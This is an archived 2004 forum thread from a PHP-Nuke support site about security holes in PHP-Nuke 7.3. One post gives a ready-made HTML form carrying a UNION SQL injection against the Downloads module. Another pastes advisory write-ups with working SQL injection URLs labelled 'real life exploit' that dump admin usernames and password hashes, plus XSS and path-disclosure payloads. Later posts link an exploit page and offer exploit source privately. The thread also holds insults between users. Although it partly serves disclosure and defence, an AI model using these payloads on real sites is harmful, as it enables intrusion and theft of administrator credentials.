You are missing our premiere tool bar navigation system! Register and use it for FREE!

NukeCops  
•  Home •  Downloads •  Gallery •  Your Account •  Forums • 
Readme First
- Readme First! -

Read and follow the rules, otherwise your posts will be closed
Modules
· Home
· FAQ
· Buy a Theme
· Advertising
· AvantGo
· Bookmarks
· Columbia
· Community
· Donations
· Downloads
· Feedback
· Forums
· PHP-Nuke HOWTO
· Private Messages
· Search
· Statistics
· Stories Archive
· Submit News
· Surveys
· Theme Gallery
· Top
· Topics
· Your Account
Who's Online
There are currently, 192 guest(s) and 0 member(s) that are online.

You are Anonymous user. You can register for free by clicking here
Nuke Cops :: View topic - (Splitted) PHP-Nuke Security Issues [ ]
 Forum FAQ  •  Search  •   •  Memberlist  •  Usergroups   •  Register  •  Profile •    •  Log in to check your private messages  •  Log in

 
Post new topic  Reply to topicprinter-friendly view
View previous topic Log in to check your private messages View next topic
Author Message
hax0rsSuck
Nuke Cadet
Nuke Cadet


Joined: Aug 05, 2004
Posts: 1


PostPosted: Thu Aug 05, 2004 12:57 pm Reply with quoteBack to top

Hajduk wrote:
Ok, you hide your admin file and I will find it within 5 mins. Rename it, htaccess it, move it, chmod it.

And even still, hacking Nuke can be done throughout the whole system not just the admin file.


You might have heard of this saying before: "Put up or shut up!"

Let me translate: unless the next thing you're going to post is how you've hax0r3d NukeCops or ravenphpscripts.com (watch out! they've got one of those sec. scripts that dont help), you're just a luser with a need for attention that you seemingly never got.

Hax0ring newbie nuke website admins is like taking candy from a three year-old ... what's the point? oooh ... big-shot hax0r with a limp hamster penis!

So, again, unless the next thing you're going to post is a screenshot of a major nuke site defacement, go away! And even if you don't, you've made my IGNORE list (now if only I could put some mods on there Smile ).

Thank you and have a good day!
Find all posts by hax0rsSuckView user's profileSend private message
Hajduk
Corporal
Corporal


Joined: Apr 03, 2003
Posts: 50


PostPosted: Sat Aug 07, 2004 8:35 am Reply with quoteBack to top

hax0rsSuck wrote:
Hajduk wrote:
Ok, you hide your admin file and I will find it within 5 mins. Rename it, htaccess it, move it, chmod it.

And even still, hacking Nuke can be done throughout the whole system not just the admin file.


You might have heard of this saying before: "Put up or shut up!"

Let me translate: unless the next thing you're going to post is how you've hax0r3d NukeCops or ravenphpscripts.com (watch out! they've got one of those sec. scripts that dont help), you're just a luser with a need for attention that you seemingly never got.

Hax0ring newbie nuke website admins is like taking candy from a three year-old ... what's the point? oooh ... big-shot hax0r with a limp hamster penis!

Thank you and have a good day!



Hmmm, did I say I would hack this site??? Ehm, nope. Well my English might not be that good but you are very insulting.

Anyways, I dont need attention, and I dont need to prove what I can do. Who are you anyways.
-*---------------------------
Anyways, to get back to the discussion. Hiding or securing the admin file is only a small step. Nuke is filled with holes through its mods. There are other ways to gain access to the system. One of our sites ( we run 12 sites with Nuke) had admin secure, and they walked straight through it........Yes we bought a liscence of Nuke and did some changes but its frustrating to see what happens.

Anyways, in light of the remarks made above can I ask the admin to erase my account on this site. Why should I even help improve this script with pathetic loosers pretending they know all. I made a simple comment which was very true. Anyways, PM me and dont tell me to shut up. Script kiddies.

I will drop Nuke as a system and just programm something from first hand and encode it in Zend.
Find all posts by HajdukView user's profileSend private message
djmaze
Captain
Captain


Joined: Nov 29, 2003
Posts: 566

Location: Netherlands

PostPosted: Sat Aug 07, 2004 10:14 pm Reply with quoteBack to top

Way to go Hajduk, i love you my man. We need to drink a beer sometime.

For people that still not get it:

Code:
<form action="http://YOURSITE.COM/html/modules.php?name=Downloads&d_op=viewdownload" method="post">
<textarea name="cid">2 UNION select counter, aid, pwd FROM nuke_authors</textarea>
<input type="submit"></form>

Fortress, Sentinel, Protector all failed to catch it, and Apache log doesn't show it in the logs.
Find all posts by djmazeView user's profileSend private messageVisit poster's website
Hajduk
Corporal
Corporal


Joined: Apr 03, 2003
Posts: 50


PostPosted: Sat Aug 07, 2004 11:41 pm Reply with quoteBack to top

Klinkt goed in mijn oren Wink

Anyways, here is what was wrong with version 7.3, that is the version a lot of people are still using.

Code:
Vulnerable Systems:
 * PHPNuke version 7.3

Full Path Disclosure:
The following examples demonstrate how it is possible to extract the path
to the scripts from the server. The vulnerability exists in the
"/modules/Search/index.php" script. When navigating to the search page
which is usually located at the following URL: 
<http://localhost/nuke73/modules.php?name=Search>;
http://localhost/nuke73/modules.php?name=Search, and entering some invalid
characters such as double asterisks and/or a plus sign, the response
received is:

Warning: eregi(): REG_BADRPT: in
D:\apache_wwwroot\nuke73\modules\Search\index.php on line 228
Warning: eregi(): REG_BADRPT: in
D:\apache_wwwroot\nuke73\modules\Search\index.php on line 232
Warning: eregi(): REG_BADRPT: in
D:\apache_wwwroot\nuke73\modules\Search\index.php on line 235

Which are standard PHP error messages revealing the full path to the
scripts. It is important to note that any system that is written in PHP
should filter such characters so that standard PHP error messages will not
be generated.

Cross-Site Scripting:
In the search module script "/modules/Search/index.php", the variable $sid
allows cross-site scripting, like so:
http://localhost/nuke73/modules.php?name=Search&sid=[xss code here]

The user submitted variable $max is also a cross-site scripting vector of
attack, but only if the number of search results are 9 or greater:
http://localhost/nuke73/modules.php?name=Search&query=*&max=[xss code
here]

The $sel1 to $sel5 variables are un-initialized and might yield a
cross-site scripting vulnerability:
http://localhost/nuke73/modules.php?name=Search&query=waraxe&sel1=[xss
code here]&type=comments

In the same fashion, the $match variable is un-initialized:
http://localhost/nuke73/modules.php?name=Search&a=6&query=*&match=[xss
code here]

Finally, the $mod1 to $mod3 variables are also uninitialized:
http://www.nukecops.com/modules.php?name=Search&query=*&mod3=[xss code
here]

The only caveat to this last XSS issue is that the specified module must
be disabled in order for the attack to succeed.

SQL Injection
The first SQL injection vulnerability is a non-critical one in the
"/modules/Search/index.php". The injection is possible due to the
un-sanitized user-submitted $min variable which is directly used in an SQL
query thereafter. The variable is used after the ORDER BY or LIMIT SQL
constructs and poses no significant threat for MySQL version 4.0 and
prior. However, the relatively newer 4.1 version of MySQL supports
subselects which makes this vulnerability a major issue since a subselect
can be appended after the ORDER BY / LIMIT clauses.

The second SQL injection is one that allows the attacker much more room to
operate. Looking at the original code:
$query = addslashes($query);

if ($type=="stories" OR !$type)
{
        if ($category > 0)
        {
                $categ = "AND catid='$category' ";
        }
        elseif ($category == 0)
        {
                $categ = "";
        }

        $q = "select s.sid, s.aid, s.informant, s.title, s.time,
s.hometext, s.bodytext,
        a.url, s.comments, s.topic from ".$prefix."_stories s,
".$prefix."_authors a
                where s.aid=a.aid $queryalang $categ";
        if (isset($query)) $q .= "AND (s.title LIKE '%$query%' OR
s.hometext LIKE '%$query%'
                OR s.bodytext LIKE '%$query%' OR s.notes LIKE '%$query%')
";
        if ($author != "") $q .= "AND s.aid='$author' ";
        if ($topic != "") $q .= "AND s.topic='$topic' ";
        if ($days != "" && $days!=0) $q .= "AND TO_DAYS(NOW()) -
TO_DAYS(time) <= '$days' ";
        $q .= " ORDER BY s.time DESC LIMIT $min,$offset";
        $t = $topic;

        $result5 = $db->sql_query($q);

The code shown presents a problem because the "if/elsif" code block does
not contain the ending "/else" part. This opens up the possibility of
setting the $category variable to a value less than 0 which would make the
$categ variable essentially an un-initialized variable, allowing us to
insert SQL commands through it. Following is an example that demonstrates
how to perform this:
http://localhost/nuke73/modules.php?name=Search&type=stories&query=f00bar&category=-1&categ= and 1=2 UNION SELECT 0,0,aid,pwd,0,0,0,0,0,0 from nuke_authors/*


Code:
A - Cross-site scripting aka XSS
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

A1 - xss in "/modules/Search/index.php":

Open search page in phpnuke:

http://localhost/nuke73/modules.php?name=Search

and enter to input field something like this:

1"><body onload="alert(document.cookie);

In case of other browsers than IE xss exploiting method can be modified, but one thing
is sure - xss case exists here...


B - Sql Injection
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

B1 - critical sql injection case in "/modules/Search/index.php":

Well, let's look at source code from that script:

----------------[ original source ]-----------------
} elseif ($type == "comments" AND isset($sid)) {
   $res = $db->sql_query("select title from ".$prefix."_stories where sid='$sid'");
   list($st_title) = $db->sql_fetchrow($res);
   $instory = "AND sid='$sid'";
   echo "<center><font class=\"title\"><b>"._SEARCHINSTORY." $st_title</b></font></center><br>";
} else {
   echo "<center><font class=\"title\"><b>"._SEARCHIN." $topictext</b></font></center><br>";
}
----------------[/original source ]-----------------

So - if search type is "comments" and there is no "sid" specified, then sql query
fragment "instory" is not initialized. Now, let's look further:


----------------[ original source ]-----------------
} elseif ($type=="comments") {
...
...
   $result8 = $db->sql_query("SELECT tid, sid, subject, date, name from
    ".$prefix."_comments where (subject like '%$query%' OR comment like '%$query%')
    $instory order by date DESC limit $min,$offset");
...
...
----------------[/original source ]-----------------

What is here, is a typical case of uninitialized variable - "instory".
It's time to turn this little bug to something evil:

----------------[ real life exploit ]---------------

http://localhost/nuke73/modules.php?name=Search&type=comments&
query=not123exists&instory=/**/UNION/**/SELECT/**/0,0,pwd,0,aid/**/FROM/**/nuke_authors

----------------[/real life exploit ]---------------

... and we see all the secret information about admins :)

Have a nice day!



Code:
A - Full path disclosure
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

A1 - full path disclosure in "/modules/Search/index.php":

Go to search page:

http://localhost/nuke73/modules.php?name=Search

and enter to search field "**" (without double quotes).
Or enter plus sign "+".

As result there will be standard php error messages, revealing full path:

Warning: eregi(): REG_BADRPT: in D:\apache_wwwroot\nuke73\modules\Search\index.php on line 228

Warning: eregi(): REG_BADRPT: in D:\apache_wwwroot\nuke73\modules\Search\index.php on line 232

Warning: eregi(): REG_BADRPT: in D:\apache_wwwroot\nuke73\modules\Search\index.php on line 235


B - Cross-site scripting aka XSS
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

B1 - xss in "/modules/Search/index.php" through user submitted variable "$sid":

http://localhost/nuke73/modules.php?name=Search&sid=[xss code here]



B2 - xss in "/modules/Search/index.php" through user submitted variable "$max":

http://localhost/nuke73/modules.php?name=Search&query=*&max=[xss code here]

remark: search results count must be >= 9.



B3 - xss in "/modules/Search/index.php" through uninitialized variables "$sel1" - "sel5":

http://localhost/nuke73/modules.php?name=Search&query=waraxe&sel1=[xss code here]&type=comments



B4 - xss in "/modules/Search/index.php" through uninitialized variable "$match":

http://localhost/nuke73/modules.php?name=Search&a=6&query=*&match=[xss code here]



B5 - xss in "/modules/Search/index.php" through uninitialized variables "$mod1" - "$mod3":

http://localhost/modules.php?name=Search&query=*&mod3=[xss code here]

Remark - specific module must be disabled in order to xss triggering!




C - Sql Injection
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

C1 - noncritical sql injection case in "/modules/Search/index.php":

Reason is unsanitized user-submitted variable "$min", which gets delievered directly
to sql request, afrer "ORDER BY / LIMIT" keywords. In mysql version 4.0 its not useful for exploiting,
but in case of new version 4.1, where subselects functionality will be available, there will be
possibility to use blind sql injection methods. So - this security bug must be fixed ASAP.

C2 - critical sql injection case in "/modules/Search/index.php":

Yeah, yeah, yeah - AGAIIIIIN! Fatal sql injection...

"Use the Source, Luke" --> let's look @ original code

----------------[ original source ]-----------------

$query = addslashes($query);

if ($type=="stories" OR !$type)
{
   if ($category > 0)
   {
      $categ = "AND catid='$category' ";
   }
   elseif ($category == 0)
   {
      $categ = "";
   }

   $q = "select s.sid, s.aid, s.informant, s.title, s.time, s.hometext, s.bodytext,
   a.url, s.comments, s.topic from ".$prefix."_stories s, ".$prefix."_authors a
      where s.aid=a.aid $queryalang $categ";
   if (isset($query)) $q .= "AND (s.title LIKE '%$query%' OR s.hometext LIKE '%$query%'
      OR s.bodytext LIKE '%$query%' OR s.notes LIKE '%$query%') ";
   if ($author != "") $q .= "AND s.aid='$author' ";
   if ($topic != "") $q .= "AND s.topic='$topic' ";
   if ($days != "" && $days!=0) $q .= "AND TO_DAYS(NOW()) - TO_DAYS(time) <= '$days' ";
   $q .= " ORDER BY s.time DESC LIMIT $min,$offset";
   $t = $topic;

   $result5 = $db->sql_query($q);

----------------[/original source ]-----------------

What we can see here, is that construction "if/elseif" misses ending part "/else".
And if we deliver there "$category" as < 0, then variable "$categ" will be uninitialized.

So - let's get dirty ;)

----------------[ real life exploit ]---------------

http://localhost/nuke73/modules.php?name=Search&type=stories&query=f00bar&category=-1
&categ=%20and%201=2%20UNION%20SELECT%200,0,aid,pwd,0,0,0,0,0,0%20from%20nuke_authors/*

----------------[/real life exploit ]---------------

And you can see some confidential information about admins...



And believe it or not, this is just the beginning. Want me to post them all here, it will take me a day or two.

Dont get me wrong, Nuke has potential. Has, not 100%, if this isnt being changed.........
Find all posts by HajdukView user's profileSend private message
madman
Support Mod
Support Mod


Joined: Feb 15, 2004
Posts: 806


PostPosted: Sun Aug 08, 2004 2:46 pm Reply with quoteBack to top

djmaze wrote:
For people that still not get it:

Code:
<form action="http://YOURSITE.COM/html/modules.php?name=Downloads&d_op=viewdownload" method="post">
<textarea name="cid">2 UNION select counter, aid, pwd FROM nuke_authors</textarea>
<input type="submit"></form>

Fortress, Sentinel, Protector all failed to catch it, and Apache log doesn't show it in the logs.


Does this exploit can fool Admin Secure too?

__________
Moderator note:
Sorry guys, I have to split this discussion that were originally posted in "Hide admin.php trick sticky topic".
Just to ensure everything keep on topic.
Smile

_________________
I'm Image
Find all posts by madmanView user's profileSend private messageVisit poster's websiteYahoo MessengerMSN Messenger
djmaze
Captain
Captain


Joined: Nov 29, 2003
Posts: 566

Location: Netherlands

PostPosted: Sun Aug 08, 2004 3:22 pm Reply with quoteBack to top

madman wrote:
Does this exploit can fool Admin Secure too?

Donno.
As i've said in a topic on this forum, i stop supporting PHP-Nuke due to some things i'm not happy with.
Go try it out yourself, and post a fix for each ?
Find all posts by djmazeView user's profileSend private messageVisit poster's website
djmaze
Captain
Captain


Joined: Nov 29, 2003
Posts: 566

Location: Netherlands

PostPosted: Tue Aug 10, 2004 1:18 pm Reply with quoteBack to top

Here's another one http://www.tartis.net/exp.php

Owner of the website is contacted and action will be taken if needed
Find all posts by djmazeView user's profileSend private messageVisit poster's website
BrainSmashR
Support Mod
Support Mod


Joined: Jan 05, 2004
Posts: 1390

Location: Louisiana, USA

PostPosted: Tue Aug 10, 2004 1:33 pm Reply with quoteBack to top

phpNuke 7.4 with Chatserv patches, Protector, Admin Secure.

Tried the above link from DJ and got the following:

Nice try but we dont like that!
Powered whit Protector System!

but I'm not sure I did that right......if I was a hacker using that site, wouldn't I already have to know an admin username and password?

_________________
ImageImage
USE THE FORUM. If you contact me via messenger for support I will add you to my ignore list.
Find all posts by BrainSmashRView user's profileSend private messageVisit poster's websiteYahoo MessengerMSN MessengerICQ Number
ninjaf4
Nuke Soldier
Nuke Soldier


Joined: Nov 27, 2003
Posts: 23


PostPosted: Tue Aug 10, 2004 4:19 pm Reply with quoteBack to top

tried the above with phpnuke 7.3 + sec fix + protector got this

Quote:
Your Attempt to use SQL exploit was blocked
Powered whit Protector System
Find all posts by ninjaf4View user's profileSend private message
iLLeGaLizm
Nuke Cadet
Nuke Cadet


Joined: Oct 30, 2004
Posts: 1


PostPosted: Sat Oct 30, 2004 5:27 am Reply with quoteBack to top

I am the admin of tartis.net.
now i haven't got this exploit at my host.it stay at my old host.
but i have source codes of exploit.
contact me by msn : fly_sol@hotmail.com
Find all posts by iLLeGaLizmView user's profileSend private messageVisit poster's websiteMSN Messenger
Display posts from previous:      
Post new topic  Reply to topicprinter-friendly view
View previous topic Log in to check your private messages View next topic
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum



Powered by phpBB © 2001, 2005 phpBB Group

Ported by Nuke Cops © 2003 www.nukecops.com
:: FI Theme :: PHP-Nuke theme by coldblooded (www.nukemods.com) ::
Powered by TOGETHER TEAM srl ITALY http://www.togetherteam.it - DONDELEO E-COMMERCE http://www.DonDeLeo.com - TUTTISU E-COMMERCE http://www.tuttisu.it
Web site engine's code is Copyright © 2002 by PHP-Nuke. All Rights Reserved. PHP-Nuke is Free Software released under the GNU/GPL license.
Page Generation: 0.210 Seconds - 169 pages served in past 5 minutes. Nuke Cops Founded by Paul Laudanski (Zhen-Xjell)
:: FI Theme :: PHP-Nuke theme by coldblooded (www.nukemods.com) ::